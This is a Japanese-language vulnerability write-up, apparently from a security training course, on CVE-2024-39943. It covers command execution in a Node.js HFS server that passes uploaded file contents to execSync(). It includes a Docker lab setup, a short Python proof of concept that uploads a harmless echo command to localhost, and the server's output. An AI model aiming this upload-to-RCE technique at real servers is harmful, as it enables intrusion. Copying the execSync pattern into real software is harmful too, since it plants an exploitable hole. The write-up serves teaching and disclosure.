Node.js HFS コマンド実行の脆弱性 (CVE-2024-39943)

ホワイトハットスクール第3期 – ノ・ジョンミン (@JenmrR)

概要

Node.jsベースのHFSサーバー環境において、アップロードされたファイルの内容をchild_process.execSync()で実行する脆弱性が存在する。
攻撃者はファイルアップロード機能を通じてOSコマンドを直接実行でき、サーバー内部のコマンド実行結果を確認したり、システムを制御したりすることができる。
これはCVE-2024-39943に該当する脆弱性であり、コマンドインジェクション(Remote Code Execution)と同レベルの脅威を引き起こす。

環境の構成と実行

1. Docker環境を通じてサーバーを実行
2. サーバーは/uploadパスでファイルアップロードを受信し、アップロードされたファイルの内容をそのままコマンドとして実行
3. 攻撃者はアップロードを通じてRCEが可能

実行フロー

$ sudo docker-compose up --build -d

$ python3 poc.py

poc.py

import requests

payload = 'echo Hello_From_Hacked_Server'
files = { 'file': ('exploit.txt', payload) }

r = requests.post('http://localhost:8080/upload', files=files)
print(r.text)

結果

PoC実行後のサーバー応答:

Executed:
Hello_From_Hacked_Server

まとめ

• 本脆弱性は、外部入力をOSコマンドとして実行する場合に発生する典型的なRCE(Remote Command Execution)脆弱性である。
• アップロードされたファイルの内容を直接execSync()で実行する方法は、深刻なセキュリティリスクを引き起こす。
• ユーザー入力は常に検証すべきであり、サーバー内で直接実行してはならない。